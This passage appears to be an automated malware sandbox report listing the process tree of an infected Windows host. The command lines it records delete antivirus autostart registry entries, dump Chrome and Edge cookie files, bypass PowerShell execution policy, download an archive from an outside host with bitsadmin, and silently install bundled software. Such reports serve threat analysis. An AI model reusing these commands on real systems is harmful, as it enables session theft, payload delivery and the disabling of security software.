"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
5⤵
PID:6488

C:\Users\Admin\Documents\tstzrz65otEz80V5RoTYW4f_.exe
"C:\Users\Admin\Documents\tstzrz65otEz80V5RoTYW4f_.exe"
2⤵
- Executes dropped EXE
PID:2336

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "tstzrz65otEz80V5RoTYW4f_.exe" /f & erase "C:\Users\Admin\Documents\tstzrz65otEz80V5RoTYW4f_.exe" & exit
3⤵
PID:5600

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "tstzrz65otEz80V5RoTYW4f_.exe" /f
4⤵
- Kills process with taskkill
PID:5980

C:\Users\Admin\Documents\ceORjn2adkxqTS2oOe6u4mId.exe
"C:\Users\Admin\Documents\ceORjn2adkxqTS2oOe6u4mId.exe"
2⤵
- Executes dropped EXE
PID:1564

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
PID:5860

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
PID:5680

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
PID:2772

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1564 -s 1540
3⤵
- Program crash
PID:3328

C:\Users\Admin\Documents\HtS0FHvNC7WSZCpN46i8XmJ5.exe
"C:\Users\Admin\Documents\HtS0FHvNC7WSZCpN46i8XmJ5.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1856

C:\Users\Admin\Documents\HtS0FHvNC7WSZCpN46i8XmJ5.exe
"C:\Users\Admin\Documents\HtS0FHvNC7WSZCpN46i8XmJ5.exe"
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:4964

C:\Users\Admin\Documents\sE1wQsKV6NbFfagvAnzUt51I.exe
"C:\Users\Admin\Documents\sE1wQsKV6NbFfagvAnzUt51I.exe"
2⤵
- Executes dropped EXE
PID:1916

C:\Users\Admin\Documents\sE1wQsKV6NbFfagvAnzUt51I.exe
"C:\Users\Admin\Documents\sE1wQsKV6NbFfagvAnzUt51I.exe" -q
3⤵
PID:5252

C:\Users\Admin\Documents\YsM0xZEFNIyoPbp3imkQvX8w.exe
"C:\Users\Admin\Documents\YsM0xZEFNIyoPbp3imkQvX8w.exe"
2⤵
- Executes dropped EXE
PID:2104

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\YsM0xZEFNIyoPbp3imkQvX8w.exe"
3⤵
PID:4140

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:5956

C:\Users\Admin\Documents\6QoIdx23uNk5xj7H8lBXFA5K.exe
"C:\Users\Admin\Documents\6QoIdx23uNk5xj7H8lBXFA5K.exe"
2⤵
- Executes dropped EXE
PID:2020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 812
3⤵
- Program crash
PID:5036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 760
3⤵
- Executes dropped EXE
- Program crash
PID:3948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 852
3⤵
- Program crash
PID:5504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 960
3⤵
- Program crash
PID:5760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 784
3⤵
- Program crash
PID:5236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 984
3⤵
- Program crash
PID:5952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 1016
3⤵
- Program crash
PID:1408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 1376
3⤵
- Program crash
PID:6064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 1420
3⤵
- Program crash
PID:5096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 1472
3⤵
- Program crash
PID:5464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 1596
3⤵
- Program crash
PID:5972

C:\Users\Admin\Documents\a0meNLu9pARmeffoPlzWfmLS.exe
"C:\Users\Admin\Documents\a0meNLu9pARmeffoPlzWfmLS.exe"
2⤵
- Executes dropped EXE
PID:1596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1596 -s 476
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4928

C:\Users\Admin\Documents\K4iXUHBNq5IKVBDhUB1SbJbf.exe
"C:\Users\Admin\Documents\K4iXUHBNq5IKVBDhUB1SbJbf.exe"
2⤵
- Executes dropped EXE
PID:4204

C:\Users\Admin\Documents\JbVzZw_Dc1rxbJdQreY7rfsg.exe
"C:\Users\Admin\Documents\JbVzZw_Dc1rxbJdQreY7rfsg.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4180

C:\Users\Admin\Documents\soe29ElZkzYGhSRDntT9Vks9.exe
"C:\Users\Admin\Documents\soe29ElZkzYGhSRDntT9Vks9.exe"
2⤵
- Executes dropped EXE
PID:4172

C:\Users\Admin\Documents\63rxKCo12wO7bjFfeFbUgsME.exe
"C:\Users\Admin\Documents\63rxKCo12wO7bjFfeFbUgsME.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4164

C:\Users\Admin\AppData\Roaming\6163078.exe
"C:\Users\Admin\AppData\Roaming\6163078.exe"
3⤵
PID:5964

C:\Users\Admin\AppData\Roaming\4130684.exe
"C:\Users\Admin\AppData\Roaming\4130684.exe"
3⤵
PID:6028

C:\Users\Admin\Documents\QMhMQtu6o_kk_hVFwgHWsmnH.exe
"C:\Users\Admin\Documents\QMhMQtu6o_kk_hVFwgHWsmnH.exe"
2⤵
PID:4156

C:\Program Files (x86)\Company\NewProduct\customer3.exe
"C:\Program Files (x86)\Company\NewProduct\customer3.exe"
3⤵
- Executes dropped EXE
PID:5108

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:5220

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
4⤵
PID:5552

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:4880

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
PID:4560

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:4584

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
PID:5096

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:5260

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
PID:5072

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
3⤵
- Executes dropped EXE
PID:4236

C:\Users\Admin\Documents\ehssg5KK4CtOASkFfxFEOVw2.exe
"C:\Users\Admin\Documents\ehssg5KK4CtOASkFfxFEOVw2.exe"
2⤵
- Executes dropped EXE
PID:4140

C:\Users\Admin\Documents\ehssg5KK4CtOASkFfxFEOVw2.exe
C:\Users\Admin\Documents\ehssg5KK4CtOASkFfxFEOVw2.exe
3⤵
PID:4716

C:\Users\Admin\Documents\oPy3yhdI3Sl8pqvROhznz9Eh.exe
"C:\Users\Admin\Documents\oPy3yhdI3Sl8pqvROhznz9Eh.exe"
2⤵
- Executes dropped EXE
PID:4132

C:\Users\Admin\Documents\oPy3yhdI3Sl8pqvROhznz9Eh.exe
"C:\Users\Admin\Documents\oPy3yhdI3Sl8pqvROhznz9Eh.exe"
3⤵
PID:6984

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
4⤵
PID:6856

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
5⤵
PID:5936

C:\Users\Admin\Documents\Sf5OJqd869gTY8Cyb9x_TdhB.exe
"C:\Users\Admin\Documents\Sf5OJqd869gTY8Cyb9x_TdhB.exe"
2⤵
- Executes dropped EXE
PID:4124

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\SF5OJQ~1.TMP,S C:\Users\Admin\DOCUME~1\SF5OJQ~1.EXE
3⤵
- Loads dropped DLL
PID:3620

C:\Windows\SysWOW64\RUNDLL32.EXE
C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\SF5OJQ~1.TMP,dkguOU4=
4⤵
PID:4560

C:\Windows\system32\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 17894
5⤵
PID:5800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmpE417.tmp.ps1"
5⤵
PID:6536

C:\Users\Admin\Documents\wHI9h6FZxQmXKgJ_c7He8mO6.exe
"C:\Users\Admin\Documents\wHI9h6FZxQmXKgJ_c7He8mO6.exe"
2⤵
- Executes dropped EXE
PID:4116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 676
3⤵
- Program crash
PID:4612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 660
3⤵
- Program crash
PID:4956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 648
3⤵
- Program crash
PID:5136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 676
3⤵
- Program crash
PID:5464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 1200
3⤵
- Program crash
PID:5828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 1288
3⤵
- Program crash
PID:3020

C:\Users\Admin\Documents\5d0AhBbC5xh84qflxZuIga1x.exe
"C:\Users\Admin\Documents\5d0AhBbC5xh84qflxZuIga1x.exe"
2⤵
- Executes dropped EXE
PID:3644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 952
3⤵
- Program crash
PID:3832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 1044
3⤵
- Program crash
PID:5620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 980
3⤵
- Program crash
PID:5244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 1368
3⤵
- Program crash
PID:5880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 1388
3⤵
- Program crash
PID:6076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 1424
3⤵
- Program crash
PID:5368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 1668
3⤵
- Program crash
PID:5900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 1456
3⤵
- Program crash
PID:212

C:\Users\Admin\Documents\z1v7oQMEGA5W31wseaBz3VOa.exe
"C:\Users\Admin\Documents\z1v7oQMEGA5W31wseaBz3VOa.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn8063.tmp\tempfile.ps1"
3⤵
PID:5420

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn8063.tmp\tempfile.ps1"
3⤵
PID:6524

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn8063.tmp\tempfile.ps1"
3⤵
PID:6472

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn8063.tmp\tempfile.ps1"
3⤵
PID:6556

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn8063.tmp\tempfile.ps1"
3⤵
PID:6948

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn8063.tmp\tempfile.ps1"
3⤵
PID:5800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn8063.tmp\tempfile.ps1"
3⤵
PID:5984

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://fsstoragecloudservice.com/data/data.7z C:\zip.7z
3⤵
- Download via BitsAdmin
PID:6948

C:\Users\Admin\Documents\4ObhIMv6VEie4rnR3bi0Jlic.exe
"C:\Users\Admin\Documents\4ObhIMv6VEie4rnR3bi0Jlic.exe"
2⤵
PID:4580

C:\Users\Admin\AppData\Local\Temp\is-IU9BF.tmp\4ObhIMv6VEie4rnR3bi0Jlic.tmp
"C:\Users\Admin\AppData\Local\Temp\is-IU9BF.tmp\4ObhIMv6VEie4rnR3bi0Jlic.tmp" /SL5="$40226,138429,56832,C:\Users\Admin\Documents\4ObhIMv6VEie4rnR3bi0Jlic.exe"
1⤵
PID:4412

C:\Users\Admin\AppData\Local\Temp\is-6PI8L.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-6PI8L.tmp\Setup.exe" /Verysilent
2⤵
PID:4800

C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe
"C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe"
3⤵
PID:5260

C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
3⤵
PID:4644

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628459486 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
4⤵
PID:6956

C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe" /quiet SILENT=1 AF=715 BF=715
3⤵
PID:512

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628459486 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
4⤵
PID:6548

C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe
"C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe"
3⤵
PID:1736

C:\Users\Admin\AppData\Roaming\6131724.exe
"C:\Users\Admin\AppData\Roaming\6131724.exe"
4⤵
PID:4388

C:\Users\Admin\AppData\Roaming\3819773.exe
"C:\Users\Admin\AppData\Roaming\3819773.exe"
4⤵
PID:5296

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
5⤵
PID:4288

C:\Users\Admin\AppData\Roaming\3985967.exe
"C:\Users\Admin\AppData\Roaming\3985967.exe"
4⤵
PID:5652

C:\Users\Admin\AppData\Roaming\2398074.exe
"C:\Users\Admin\AppData\Roaming\2398074.exe"
4⤵
PID:2848

C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe
"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"
3⤵
PID:6036

C:\Users\Admin\AppData\Local\Temp\is-NU7V7.tmp\GameBoxWin32.tmp
"C:\Users\Admin\AppData\Local\Temp\is-NU7V7.tmp\GameBoxWin32.tmp" /SL5="$302C6,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"
4⤵
PID:2096

C:\Users\Admin\AppData\Local\Temp\is-EAQD1.tmp\Daldoula.exe
"C:\Users\Admin\AppData\Local\Temp\is-EAQD1.tmp\Daldoula.exe" /S /UID=burnerch2
5⤵
PID:4368

C:\Program Files\7-Zip\ARQATTNLDK\ultramediaburner.exe
"C:\Program Files\7-Zip\ARQATTNLDK\ultramediaburner.exe" /VERYSILENT
6⤵
PID:4488

C:\Users\Admin\AppData\Local\Temp\is-1S946.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-1S946.tmp\ultramediaburner.tmp" /SL5="$3026C,281924,62464,C:\Program Files\7-Zip\ARQATTNLDK\ultramediaburner.exe" /VERYSILENT
7⤵
PID:4292

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
8⤵
PID:4212

C:\Users\Admin\AppData\Local\Temp\cc-a2949-109-9b680-2551dd505dfda\Livetilugi.exe
"C:\Users\Admin\AppData\Local\Temp\cc-a2949-109-9b680-2551dd505dfda\Livetilugi.exe"
6⤵
PID:4132

C:\Users\Admin\AppData\Local\Temp\30-71767-138-2188e-5b9f150bf7eb2\Kesanilaeho.exe
"C:\Users\Admin\AppData\Local\Temp\30-71767-138-2188e-5b9f150bf7eb2\Kesanilaeho.exe"
6⤵
PID:6276

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c4t2w341.gg2\installer.exe /qn CAMPAIGN="654" & exit
7⤵
PID:6972

C:\Users\Admin\AppData\Local\Temp\c4t2w341.gg2\installer.exe
C:\Users\Admin\AppData\Local\Temp\c4t2w341.gg2\installer.exe /qn CAMPAIGN="654"
8⤵
PID:4700

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\z5gw5uuv.vct\ufgaa.exe & exit
7⤵
PID:700

C:\Users\Admin\AppData\Local\Temp\z5gw5uuv.vct\ufgaa.exe
C:\Users\Admin\AppData\Local\Temp\z5gw5uuv.vct\ufgaa.exe
8⤵
PID:4972

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eby4diw3.ux1\anyname.exe & exit
7⤵
PID:6056

C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe
"C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"
3⤵
PID:5332

C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe
"C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe"
3⤵
PID:5652

C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe
"C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe" -a
4⤵
PID:3016

C:\Program Files (x86)\GameBox INC\GameBox\GameBox32Bit.exe
"C:\Program Files (x86)\GameBox INC\GameBox\GameBox32Bit.exe"
3⤵
PID:700

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:5296

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:6828

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:6812

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:5616

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5900

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:5880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5212

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:6600

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
PID:6624

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:6260

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 7193CF321A090A3125F80CCD98D6EE57 C
2⤵
PID:6916

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 337EB772326DDEC75CAD2462F3BC3321 C
2⤵
PID:2360

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 08827F8404EE6E5EE1C39FF3816912C4
2⤵
PID:6608

C:\Users\Admin\AppData\Local\Temp\A8D3.exe
C:\Users\Admin\AppData\Local\Temp\A8D3.exe
1⤵
PID:6140

C:\Users\Admin\AppData\Local\Temp\C15E.exe
C:\Users\Admin\AppData\Local\Temp\C15E.exe
1⤵
PID:7036

C:\Users\Admin\AppData\Local\Temp\is-HRECH.tmp\C15E.tmp
"C:\Users\Admin\AppData\Local\Temp\is-HRECH.tmp\C15E.tmp" /SL5="$502A4,4193427,831488,C:\Users\Admin\AppData\Local\Temp\C15E.exe"
2⤵
PID:6612

C:\Users\Admin\AppData\Local\Temp\C15E.exe
"C:\Users\Admin\AppData\Local\Temp\C15E.exe" /VERYSILENT
3⤵
PID:6248

C:\Users\Admin\AppData\Local\Temp\is-1ERCB.tmp\C15E.tmp
"C:\Users\Admin\AppData\Local\Temp\is-1ERCB.tmp\C15E.tmp" /SL5="$602A4,4193427,831488,C:\Users\Admin\AppData\Local\Temp\C15E.exe" /VERYSILENT
4⤵
PID:6300

C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
"C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe"
5⤵
PID:4784

C:\Users\Admin\AppData\Local\Temp\D4A8.exe
C:\Users\Admin\AppData\Local\Temp\D4A8.exe
1⤵
PID:5252

C:\Users\Admin\AppData\Local\Temp\DC98.exe
C:\Users\Admin\AppData\Local\Temp\DC98.exe
1⤵
PID:6152

C:\Users\Admin\AppData\Local\Temp\F0FC.exe
C:\Users\Admin\AppData\Local\Temp\F0FC.exe
1⤵
PID:6384

C:\Users\Admin\AppData\Local\Temp\F0FC.exe
C:\Users\Admin\AppData\Local\Temp\F0FC.exe
2⤵
PID:6800

C:\Users\Admin\AppData\Local\Temp\28B7.exe
C:\Users\Admin\AppData\Local\Temp\28B7.exe
1⤵
PID:6908

C:\Users\Admin\AppData\Local\Temp\3BC3.exe
C:\Users\Admin\AppData\Local\Temp\3BC3.exe
1⤵
PID:6380

C:\Users\Admin\AppData\Local\Temp\4B83.exe
C:\Users\Admin\AppData\Local\Temp\4B83.exe
1⤵
PID:5236

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5532

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:5028

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:6280

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:2296

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5768

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:6152

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:6764

C:\Windows\explorer.exe
